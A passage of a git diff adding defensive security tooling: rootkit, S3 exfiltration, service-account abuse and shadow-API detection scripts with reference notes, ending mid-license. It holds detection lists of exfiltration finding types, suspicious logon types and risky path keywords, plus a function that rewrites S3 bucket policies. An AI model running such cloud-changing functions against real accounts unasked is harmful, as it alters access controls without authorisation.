subprocess.TimeoutExpired: + return {"error": "chkrootkit timed out"} + + +def check_hidden_files_linux(): + """Check for hidden files and directories that may indicate a rootkit.""" + suspicious = [] + check_dirs = ["/tmp", "/dev/shm", "/var/tmp"] + for d in check_dirs: + if not os.path.exists(d): + continue + try: + for entry in os.listdir(d): + if entry.startswith(".") and entry not in (".", ".."): + full_path = os.path.join(d, entry) + suspicious.append({ + "path": full_path, + "is_dir": os.path.isdir(full_path), + "size": os.path.getsize(full_path) if os.path.isfile(full_path) else 0, + }) + except PermissionError: + continue + return {"hidden_files": suspicious, "count": len(suspicious)} + + +def generate_report(memory_dump=None): + """Generate comprehensive rootkit detection report.""" + report = {"timestamp": datetime.utcnow().isoformat() + "Z"} + + if memory_dump: + report["cross_view"] = cross_view_detection(memory_dump) + report["ssdt_hooks"] = check_ssdt_hooks(memory_dump) + report["kernel_modules"] = check_kernel_modules(memory_dump) + else: + report["rkhunter"] = run_rkhunter() + report["chkrootkit"] = run_chkrootkit() + report["hidden_files"] = check_hidden_files_linux() + + return report + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "help" + if action == "cross-view" and len(sys.argv) > 2: + print(json.dumps(cross_view_detection(sys.argv[2]), indent=2, default=str)) + elif action == "malfind" and len(sys.argv) > 2: + print(json.dumps(run_volatility_pslist(sys.argv[2]), indent=2, default=str)) + elif action == "ssdt" and len(sys.argv) > 2: + print(json.dumps(check_ssdt_hooks(sys.argv[2]), indent=2, default=str)) + elif action == "rkhunter": + print(json.dumps(run_rkhunter(), indent=2)) + elif action == "chkrootkit": + print(json.dumps(run_chkrootkit(), indent=2)) + elif action == "report": + mem = sys.argv[2] if len(sys.argv) > 2 else None + print(json.dumps(generate_report(mem), indent=2, default=str)) + else: + print("Usage: agent.py [cross-view |malfind |ssdt |rkhunter|chkrootkit|report [mem]]") diff --git a/skills/detecting-s3-data-exfiltration-attempts/LICENSE b/skills/detecting-s3-data-exfiltration-attempts/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-s3-data-exfiltration-attempts/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md b/skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md new file mode 100644 index 00000000..50e21a81 --- /dev/null +++ b/skills/detecting-s3-data-exfiltration-attempts/references/api-reference.md @@ -0,0 +1,84 @@ +# S3 Data Exfiltration Detection API Reference + +## GuardDuty S3 Finding Types + +| Finding Type | Description | +|-------------|-------------| +| `Exfiltration:S3/MaliciousIPCaller` | S3 accessed from known malicious IP | +| `Exfiltration:S3/AnomalousBehavior` | Unusual S3 access pattern | +| `UnauthorizedAccess:S3/TorIPCaller` | S3 accessed from Tor exit node | +| `Discovery:S3/AnomalousBehavior` | Unusual ListObjects/HeadBucket | +| `Impact:S3/AnomalousBehavior.Delete` | Anomalous object deletion | + +## CloudTrail S3 Data Events + +```bash +# Enable S3 data events on trail +aws cloudtrail put-event-selectors --trail-name mgmt-trail \ + --event-selectors '[{"ReadWriteType":"All","DataResources":[{"Type":"AWS::S3::Object","Values":["arn:aws:s3:::sensitive-bucket/"]}]}]' + +# Query GetObject events via Athena +SELECT eventtime, useridentity.arn, requestparameters, + sourceipaddress, useragent +FROM cloudtrail_logs +WHERE eventname = 'GetObject' + AND requestparameters LIKE '%sensitive-bucket%' +ORDER BY eventtime DESC +``` + +## S3 Access Monitoring + +```bash +# Check bucket policy +aws s3api get-bucket-policy --bucket mybucket + +# Check public access block +aws s3api get-public-access-block --bucket mybucket + +# Enable server access logging +aws s3api put-bucket-logging --bucket mybucket \ + --bucket-logging-status '{"LoggingEnabled":{"TargetBucket":"log-bucket","TargetPrefix":"s3-logs/"}}' + +# List bucket ACL +aws s3api get-bucket-acl --bucket mybucket +``` + +## S3 Data Event Log Fields + +| Field | Description | +|-------|-------------| +| `eventName` | GetObject, PutObject, DeleteObject, CopyObject | +| `requestParameters.bucketName` | Target bucket | +| `requestParameters.key` | Object key accessed | +| `sourceIPAddress` | Caller IP | +| `userIdentity.arn` | Caller identity | +| `additionalEventData.bytesTransferredOut` | Data volume | + +## Athena Query - Detect Bulk Downloads + +```sql +SELECT useridentity.arn, sourceipaddress, + COUNT(*) as object_count, + SUM(CAST(json_extract_scalar(additionaleventdata, '$.bytesTransferredOut') AS bigint)) as bytes_out +FROM cloudtrail_logs +WHERE eventname = 'GetObject' + AND eventtime > '2024-01-01' +GROUP BY useridentity.arn, sourceipaddress +HAVING COUNT(*) > 100 +ORDER BY object_count DESC +``` + +## Bucket Policy - Restrict to VPC Endpoint + +```json +{ + "Statement": [{ + "Sid": "DenyNonVPC", + "Effect": "Deny", + "Principal": "*", + "Action": "s3:GetObject", + "Resource": "arn:aws:s3:::bucket/*", + "Condition": {"StringNotEquals": {"aws:sourceVpce": "vpce-xxxxx"}} + }] +} +``` diff --git a/skills/detecting-s3-data-exfiltration-attempts/scripts/agent.py b/skills/detecting-s3-data-exfiltration-attempts/scripts/agent.py new file mode 100644 index 00000000..e969544a --- /dev/null +++ b/skills/detecting-s3-data-exfiltration-attempts/scripts/agent.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""S3 data exfiltration detection agent using CloudTrail and GuardDuty.""" + +import json +import subprocess +import sys +from collections import Counter +from datetime import datetime, timedelta + + +def aws_cli(args): + """Execute AWS CLI command and return parsed JSON.""" + cmd = ["aws"] + args + ["--output", "json"] + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + if result.returncode == 0 and result.stdout.strip(): + return json.loads(result.stdout) + return {"error": result.stderr.strip()} if result.returncode != 0 else {} + except Exception as e: + return {"error": str(e)} + + +def get_guardduty_s3_findings(): + """Get GuardDuty findings for S3 exfiltration activity.""" + det = aws_cli(["guardduty", "list-detectors"]) + detector_id = det.get("DetectorIds", [None])[0] + if not detector_id: + return {"error": "No GuardDuty detector found"} + + s3_types = [ + "Exfiltration:S3/MaliciousIPCaller", + "Exfiltration:S3/AnomalousBehavior", + "UnauthorizedAccess:S3/MaliciousIPCaller.Custom", + "UnauthorizedAccess:S3/TorIPCaller", + "Discovery:S3/MaliciousIPCaller", + "Discovery:S3/AnomalousBehavior", + "Impact:S3/AnomalousBehavior.Delete", + "Impact:S3/AnomalousBehavior.Permission", + "Impact:S3/AnomalousBehavior.Write", + ] + criteria = {"Criterion": {"type": {"Eq": s3_types}, "service.archived": {"Eq": ["false"]}}} + result = aws_cli([ + "guardduty", "list-findings", + "--detector-id", detector_id, + "--finding-criteria", json.dumps(criteria), + ]) + finding_ids = result.get("FindingIds", []) + if not finding_ids: + return {"count": 0, "findings": []} + + details = aws_cli(["guardduty", "get-findings", "--detector-id", detector_id, + "--finding-ids"] + finding_ids[:25]) + parsed = [] + for f in details.get("Findings", []): + s3 = f.get("Resource", {}).get("S3BucketDetails", [{}]) + bucket = s3[0] if s3 else {} + parsed.append({ + "type": f.get("Type"), + "severity": f.get("Severity"), + "bucket": bucket.get("Name"), + "region": f.get("Region"), + "action": f.get("Service", {}).get("Action", {}), + }) + return {"count": len(parsed), "findings": parsed} + + +def query_cloudtrail_s3_gets(bucket_name, hours=24): + """Query CloudTrail for GetObject events on a specific bucket.""" + end_time = datetime.utcnow() + start_time = end_time - timedelta(hours=hours) + result = aws_cli([ + "cloudtrail", "lookup-events", + "--lookup-attributes", json.dumps([ + {"AttributeKey": "EventName", "AttributeValue": "GetObject"} + ]), + "--start-time", start_time.isoformat() + "Z", + "--end-time", end_time.isoformat() + "Z", + "--max-results", "50", + ]) + events = [] + for e in result.get("Events", []): + detail = json.loads(e.get("CloudTrailEvent", "{}")) + req = detail.get("requestParameters", {}) + if bucket_name and req.get("bucketName") != bucket_name: + continue + events.append({ + "time": e.get("EventTime"), + "user": e.get("Username"), + "source_ip": detail.get("sourceIPAddress"), + "bucket": req.get("bucketName"), + "key": req.get("key", "")[:100], + "user_agent": detail.get("userAgent", "")[:80], + }) + return {"bucket": bucket_name, "get_events": events, "count": len(events)} + + +def detect_bulk_download_patterns(bucket_name, hours=24): + """Detect anomalous bulk download patterns from S3.""" + trail = query_cloudtrail_s3_gets(bucket_name, hours) + events = trail.get("get_events", []) + + by_user = Counter() + by_ip = Counter() + for e in events: + by_user[e.get("user", "unknown")] += 1 + by_ip[e.get("source_ip", "unknown")] += 1 + + anomalies = [] + for user, count in by_user.items(): + if count > 50: + anomalies.append({ + "type": "BULK_DOWNLOAD", + "severity": "HIGH", + "user": user, + "object_count": count, + "period_hours": hours, + }) + for ip, count in by_ip.items(): + if count > 100: + anomalies.append({ + "type": "HIGH_VOLUME_SOURCE", + "severity": "HIGH", + "source_ip": ip, + "object_count": count, + }) + + return { + "bucket": bucket_name, + "total_gets": len(events), + "unique_users": len(by_user), + "unique_ips": len(by_ip), + "anomalies": anomalies, + "top_users": by_user.most_common(10), + "top_ips": by_ip.most_common(10), + } + + +def check_bucket_policy(bucket_name): + """Check S3 bucket policy for overly permissive access.""" + result = aws_cli(["s3api", "get-bucket-policy", "--bucket", bucket_name]) + if "error" in result: + return result + + policy = json.loads(result.get("Policy", "{}")) if isinstance(result.get("Policy"), str) else result + issues = [] + for stmt in policy.get("Statement", []): + principal = stmt.get("Principal", "") + if principal == "*" or (isinstance(principal, dict) and principal.get("AWS") == "*"): + if stmt.get("Effect") == "Allow": + issues.append({ + "severity": "CRITICAL", + "finding": "Bucket allows public access", + "action": stmt.get("Action"), + "sid": stmt.get("Sid", ""), + }) + + return {"bucket": bucket_name, "policy_issues": issues, "issue_count": len(issues)} + + +def check_s3_access_logging(bucket_name): + """Verify S3 server access logging is enabled.""" + result = aws_cli(["s3api", "get-bucket-logging", "--bucket", bucket_name]) + enabled = bool(result.get("LoggingEnabled")) + return { + "bucket": bucket_name, + "logging_enabled": enabled, + "target_bucket": result.get("LoggingEnabled", {}).get("TargetBucket") if enabled else None, + } + + +def block_external_access(bucket_name): + """Restrict S3 bucket to VPC endpoint access only.""" + policy = { + "Version": "2012-10-17", + "Statement": [{ + "Sid": "DenyNonVPCAccess", + "Effect": "Deny", + "Principal": "*", + "Action": "s3:GetObject", + "Resource": f"arn:aws:s3:::{bucket_name}/*", + "Condition": { + "StringNotEquals": {"aws:sourceVpce": "vpce-REPLACE_WITH_ENDPOINT_ID"} + }, + }], + } + return aws_cli([ + "s3api", "put-bucket-policy", + "--bucket", bucket_name, + "--policy", json.dumps(policy), + ]) + + +def generate_report(bucket_name=None): + """Generate S3 exfiltration detection report.""" + report = { + "timestamp": datetime.utcnow().isoformat() + "Z", + "guardduty_s3": get_guardduty_s3_findings(), + } + if bucket_name: + report["bulk_download_analysis"] = detect_bulk_download_patterns(bucket_name) + report["bucket_policy"] = check_bucket_policy(bucket_name) + report["access_logging"] = check_s3_access_logging(bucket_name) + return report + + +if __name__ == "__main__": + action = sys.argv[1] if len(sys.argv) > 1 else "report" + if action == "report": + bucket = sys.argv[2] if len(sys.argv) > 2 else None + print(json.dumps(generate_report(bucket), indent=2, default=str)) + elif action == "findings": + print(json.dumps(get_guardduty_s3_findings(), indent=2, default=str)) + elif action == "gets" and len(sys.argv) > 2: + hours = int(sys.argv[3]) if len(sys.argv) > 3 else 24 + print(json.dumps(query_cloudtrail_s3_gets(sys.argv[2], hours), indent=2, default=str)) + elif action == "bulk" and len(sys.argv) > 2: + print(json.dumps(detect_bulk_download_patterns(sys.argv[2]), indent=2, default=str)) + elif action == "policy" and len(sys.argv) > 2: + print(json.dumps(check_bucket_policy(sys.argv[2]), indent=2)) + else: + print("Usage: agent.py [report [bucket]|findings|gets [hours]|bulk |policy ]") diff --git a/skills/detecting-service-account-abuse/LICENSE b/skills/detecting-service-account-abuse/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-service-account-abuse/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-service-account-abuse/references/api-reference.md b/skills/detecting-service-account-abuse/references/api-reference.md new file mode 100644 index 00000000..19d0bc39 --- /dev/null +++ b/skills/detecting-service-account-abuse/references/api-reference.md @@ -0,0 +1,81 @@ +# API Reference: Service Account Abuse Detection + +## Active Directory PowerShell Module + +### Get Service Accounts (SPN-based) +```powershell +Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ` + ServicePrincipalName, LastLogonDate, Enabled, PasswordLastSet, ` + PasswordNeverExpires, AdminCount, MemberOf +``` + +### Get Managed Service Accounts +```powershell +Get-ADServiceAccount -Filter * -Properties ` + PrincipalsAllowedToRetrieveManagedPassword, LastLogonDate +``` + +### Check Kerberos Delegation +```powershell +Get-ADUser -Filter {TrustedForDelegation -eq $true} -Properties ` + TrustedForDelegation, TrustedToAuthForDelegation, ` + msDS-AllowedToDelegateTo +``` + +## Windows Event Log Queries + +### Logon Type Values +| Type | Description | Concern for Service Accounts | +|------|-------------|------------------------------| +| 2 | Interactive | HIGH — should not happen | +| 3 | Network | Normal for services | +| 5 | Service | Normal | +| 10 | RemoteInteractive (RDP) | HIGH — should not happen | + +### Event IDs +| ID | Log | Description | +|----|-----|-------------| +| 4624 | Security | Successful logon | +| 4625 | Security | Failed logon | +| 4648 | Security | Explicit credential use | +| 4672 | Security | Special privilege logon | +| 4720 | Security | Account created | +| 4738 | Security | Account modified | + +## Microsoft Graph API — Service Principal Audit + +### List Service Principals +```http +GET https://graph.microsoft.com/v1.0/servicePrincipals +Authorization: Bearer {token} +``` + +### List App Role Assignments +```http +GET https://graph.microsoft.com/v1.0/servicePrincipals/{id}/appRoleAssignments +``` + +### Audit Sign-In Logs +```http +GET https://graph.microsoft.com/v1.0/auditLogs/signIns + ?$filter=appId eq '{service-principal-app-id}' +``` + +## AWS IAM — Service Role Audit + +### List service-linked roles +```bash +aws iam list-roles --query "Roles[?starts_with(Path, '/aws-service-role/')]" +``` + +### Get role last used +```bash +aws iam get-role --role-name MyServiceRole \ + --query "Role.RoleLastUsed" +``` + +### Access Analyzer findings +```bash +aws accessanalyzer list-findings --analyzer-arn {arn} \ + --filter '{"resourceType":{"eq":["AWS::IAM::Role"]}}' +``` diff --git a/skills/detecting-service-account-abuse/scripts/agent.py b/skills/detecting-service-account-abuse/scripts/agent.py new file mode 100644 index 00000000..a7672f79 --- /dev/null +++ b/skills/detecting-service-account-abuse/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""Agent for detecting service account abuse in Active Directory and cloud environments.""" + +import argparse +import json +import subprocess +import sys +from collections import Counter +from datetime import datetime, timezone + + +def query_ad_service_accounts(): + """Query Active Directory for service accounts via PowerShell.""" + ps_cmd = ( + "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} " + "-Properties ServicePrincipalName,LastLogonDate,Enabled,PasswordLastSet," + "PasswordNeverExpires,AdminCount,MemberOf " + "| Select-Object SamAccountName,Enabled,LastLogonDate,PasswordLastSet," + "PasswordNeverExpires,AdminCount,@{N='SPNCount';E={$_.ServicePrincipalName.Count}} " + "| ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip().startswith(("[", "{")) else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def check_interactive_logons(days=7): + """Find service accounts with interactive logon events (type 2/10).""" + ps_cmd = ( + f"Get-WinEvent -FilterHashtable @{{LogName='Security';Id=4624;" + f"StartTime=(Get-Date).AddDays(-{days})}} " + "| Where-Object {($_.Properties[8].Value -eq 2 -or $_.Properties[8].Value -eq 10) " + "-and $_.Properties[5].Value -match 'svc_|service'} " + "| Select-Object TimeCreated,@{N='Account';E={$_.Properties[5].Value}}," + "@{N='LogonType';E={$_.Properties[8].Value}}," + "@{N='SourceIP';E={$_.Properties[18].Value}} " + "| ConvertTo-Json" + ) + try: + result = subprocess.check_output( + ["powershell", "-NoProfile", "-Command", ps_cmd], + text=True, errors="replace", timeout=30 + ) + data = json.loads(result) if result.strip() else [] + return data if isinstance(data, list) else [data] + except (subprocess.SubprocessError, json.JSONDecodeError): + return [] + + +def analyze_logon_patterns(events): + """Detect anomalous logon patterns for service accounts.""" + anomalies = [] + account_sources = {} + for evt in events: + acct = evt.get("Account", "unknown") + src = evt.get("SourceIP", "unknown") + account_sources.setdefault(acct, []).append(src) + + for acct, sources in account_sources.items(): + unique = set(sources) + if len(unique) > 3: + anomalies.append({ + "account": acct, + "issue": "Service account logged in from multiple sources", + "source_count": len(unique), + "sources": list(unique)[:10], + }) + return anomalies + + +def check_account_risks(accounts): + """Identify risky service account configurations.""" + risks = [] + for acct in accounts: + name = acct.get("SamAccountName", "unknown") + issues = [] + if acct.get("PasswordNeverExpires"): + issues.append("Password never expires") + if acct.get("AdminCount") == 1: + issues.append("Has AdminCount=1 (privileged)") + if acct.get("Enabled") is False: + issues.append("Account disabled but has SPNs") + pw_set = acct.get("PasswordLastSet") + if pw_set and isinstance(pw_set, str): + try: + pw_date = datetime.fromisoformat(pw_set.replace("Z", "+00:00")) + age = (datetime.now(timezone.utc) - pw_date).days + if age > 365: + issues.append(f"Password {age} days old") + except ValueError: + pass + if issues: + risks.append({"account": name, "issues": issues, "risk_count": len(issues)}) + return risks + + +def main(): + parser = argparse.ArgumentParser( + description="Detect service account abuse in AD environments" + ) + parser.add_argument("--days", type=int, default=7, help="Lookback days for logon events") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--verbose", "-v", action="store_true") + args = parser.parse_args() + + print("[*] Service Account Abuse Detection Agent") + report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": {}} + + accounts = query_ad_service_accounts() + report["findings"]["service_accounts"] = len(accounts) + print(f"[*] Found {len(accounts)} service accounts with SPNs") + + risks = check_account_risks(accounts) + report["findings"]["risky_accounts"] = risks + print(f"[*] Risky accounts: {len(risks)}") + + logons = check_interactive_logons(args.days) + report["findings"]["interactive_logons"] = len(logons) + anomalies = analyze_logon_patterns(logons) + report["findings"]["logon_anomalies"] = anomalies + print(f"[*] Logon anomalies: {len(anomalies)}") + + total_issues = len(risks) + len(anomalies) + report["risk_level"] = "CRITICAL" if total_issues >= 5 else "HIGH" if total_issues >= 3 else "MEDIUM" if total_issues > 0 else "LOW" + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-shadow-api-endpoints/LICENSE b/skills/detecting-shadow-api-endpoints/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-shadow-api-endpoints/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/detecting-shadow-api-endpoints/references/api-reference.md b/skills/detecting-shadow-api-endpoints/references/api-reference.md new file mode 100644 index 00000000..7ff180ec --- /dev/null +++ b/skills/detecting-shadow-api-endpoints/references/api-reference.md @@ -0,0 +1,94 @@ +# API Reference: Shadow API Endpoint Detection + +## OpenAPI 3.0 Specification Structure + +### Loading Paths +```json +{ + "openapi": "3.0.0", + "paths": { + "/api/users": { + "get": { "summary": "List users" }, + "post": { "summary": "Create user" } + }, + "/api/users/{id}": { + "get": { "summary": "Get user by ID" } + } + } +} +``` + +### Key Fields +| Field | Description | +|-------|-------------| +| `paths` | Map of URL paths to operations | +| `servers[].url` | Base URL for the API | +| `components.securitySchemes` | Authentication methods | + +## Web Access Log Formats + +### Apache/Nginx Combined Log +``` +127.0.0.1 - frank [10/Oct/2024:13:55:36 -0700] "GET /api/users HTTP/1.1" 200 2326 +``` + +### Regex Pattern +```python +r'(\S+)\s+\S+\s+\S+\s+\[([^\]]+)\]\s+"(\S+)\s+(\S+)\s+\S+"\s+(\d+)\s+(\d+)' +``` + +| Group | Content | +|-------|---------| +| 1 | Client IP | +| 2 | Timestamp | +| 3 | HTTP Method | +| 4 | Request Path | +| 5 | Status Code | +| 6 | Response Size | + +## Path Normalization Patterns + +### ID replacement +```python +re.sub(r'/\d+', '/{id}', path) # /users/123 -> /users/{id} +re.sub(r'/[0-9a-f]{24,}', '/{id}', path) # MongoDB ObjectId +re.sub(r'/[0-9a-f-]{36}', '/{uuid}', path) # UUID v4 +``` + +## OWASP API Security Top 10 (2023) + +| # | Risk | Relevance to Shadow APIs | +|---|------|--------------------------| +| API1 | Broken Object Level Auth | Shadow endpoints may lack auth | +| API2 | Broken Authentication | Undocumented auth bypass | +| API5 | Broken Function Level Auth | Admin endpoints exposed | +| API9 | Improper Inventory Management | Core shadow API risk | + +## Akamai API Discovery + +### List discovered APIs +```http +GET https://cloud.akamai.com/api-gateway/v1/apis/discovered +Authorization: Bearer {token} +``` + +## AWS API Gateway — Export API +```bash +aws apigateway get-export \ + --rest-api-id abc123 \ + --stage-name prod \ + --export-type oas30 \ + exported-api.json +``` + +## Burp Suite Enterprise — API Scan +```http +POST https://burp-enterprise/api/v1/scans +Content-Type: application/json + +{ + "scan_type": "api_discovery", + "target_url": "https://api.example.com", + "openapi_spec": "https://api.example.com/openapi.json" +} +``` diff --git a/skills/detecting-shadow-api-endpoints/scripts/agent.py b/skills/detecting-shadow-api-endpoints/scripts/agent.py new file mode 100644 index 00000000..d2f77e3b --- /dev/null +++ b/skills/detecting-shadow-api-endpoints/scripts/agent.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +"""Agent for discovering undocumented (shadow) API endpoints via traffic analysis.""" + +import argparse +import json +import os +import re +import sys +from collections import defaultdict +from datetime import datetime, timezone +from urllib.parse import urlparse + + +def parse_access_log(log_path, api_prefix="/api"): + """Parse web server access logs to extract API endpoint calls.""" + endpoints = defaultdict(lambda: {"count": 0, "methods": set(), "status_codes": set()}) + # Combined log format: IP - - [date] "METHOD path HTTP/ver" status size + pattern = re.compile( + r'(\S+)\s+\S+\s+\S+\s+\[([^\]]+)\]\s+"(\S+)\s+(\S+)\s+\S+"\s+(\d+)\s+(\d+)' + ) + try: + with open(log_path, "r") as f: + for line in f: + m = pattern.match(line) + if not m: + continue + method, path, status = m.group(3), m.group(4), m.group(5) + parsed = urlparse(path) + clean_path = re.sub(r'/\d+', '/{id}', parsed.path) + clean_path = re.sub(r'/[0-9a-f]{24,}', '/{id}', clean_path) + clean_path = re.sub( + r'/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}', + '/{uuid}', clean_path + ) + if api_prefix and not clean_path.startswith(api_prefix): + continue + key = f"{method} {clean_path}" + endpoints[key]["count"] += 1 + endpoints[key]["methods"].add(method) + endpoints[key]["status_codes"].add(status) + except FileNotFoundError: + print(f"[!] Log file not found: {log_path}") + return endpoints + + +def load_openapi_spec(spec_path): + """Load documented endpoints from OpenAPI/Swagger spec.""" + documented = set() + try: + with open(spec_path, "r") as f: + spec = json.load(f) + paths = spec.get("paths", {}) + for path, methods in paths.items(): + normalized = re.sub(r'\{[^}]+\}', '{id}', path) + for method in methods: + if method.upper() in ("GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS"): + documented.add(f"{method.upper()} {normalized}") + except (FileNotFoundError, json.JSONDecodeError) as e: + print(f"[!] Error loading spec: {e}") + return documented + + +def find_shadow_endpoints(observed, documented): + """Identify endpoints in traffic that are not in the API spec.""" + shadow = [] + for endpoint, data in observed.items(): + if endpoint not in documented: + shadow.append({ + "endpoint": endpoint, + "call_count": data["count"], + "status_codes": sorted(data["status_codes"]), + "risk": "HIGH" if any(s.startswith("2") for s in data["status_codes"]) else "MEDIUM", + }) + return sorted(shadow, key=lambda x: x["call_count"], reverse=True) + + +def classify_risk(shadow_endpoints): + """Classify shadow endpoints by risk category.""" + categories = { + "debug": [], "admin": [], "internal": [], + "deprecated": [], "unknown": [], + } + for ep in shadow_endpoints: + path = ep["endpoint"].lower() + if any(k in path for k in ["debug", "test", "dev", "health"]): + categories["debug"].append(ep) + elif any(k in path for k in ["admin", "manage", "console", "dashboard"]): + categories["admin"].append(ep) + elif any(k in path for k in ["internal", "private", "system"]): + categories["internal"].append(ep) + elif any(k in path for k in ["v1", "v0", "old", "legacy"]): + categories["deprecated"].append(ep) + else: + categories["unknown"].append(ep) + return categories + + +def main(): + parser = argparse.ArgumentParser( + description="Discover undocumented shadow API endpoints" + ) + parser.add_argument("--access-log", required=True, help="Path to web access log") + parser.add_argument("--openapi-spec", help="Path to OpenAPI/Swagger JSON spec") + parser.add_argument("--api-prefix", default="/api", help="API path prefix filter") + parser.add_argument("--output", "-o", help="Output JSON report path") + parser.add_argument("--min-calls", type=int, default=1, help="Minimum call count threshold") + args = parser.parse_args() + + print("[*] Shadow API Endpoint Detection Agent") + observed = parse_access_log(args.access_log, args.api_prefix) + print(f"[*] Observed {len(observed)} unique API endpoints in traffic") + + documented = set() + if args.openapi_spec: + documented = load_openapi_spec(args.openapi_spec) + print(f"[*] Loaded {len(documented)} documented endpoints from spec") + + shadow = find_shadow_endpoints(observed, documented) + shadow = [s for s in shadow if s["call_count"] >= args.min_calls] + categories = classify_risk(shadow) + + report = { + "timestamp": datetime.now(timezone.utc).isoformat(), + "total_observed": len(observed), + "documented": len(documented), + "shadow_count": len(shadow), + "categories": {k: len(v) for k, v in categories.items()}, + "shadow_endpoints": shadow[:50], + } + + high_risk = sum(1 for s in shadow if s["risk"] == "HIGH") + report["risk_level"] = "CRITICAL" if high_risk >= 5 else "HIGH" if high_risk >= 2 else "MEDIUM" if shadow else "LOW" + + print(f"[*] Shadow endpoints: {len(shadow)} (HIGH risk: {high_risk})") + + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + print(f"[*] Report saved to {args.output}") + else: + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/detecting-spearphishing-with-email-gateway/LICENSE b/skills/detecting-spearphishing-with-email-gateway/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/detecting-spearphishing-with-email-gateway/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND 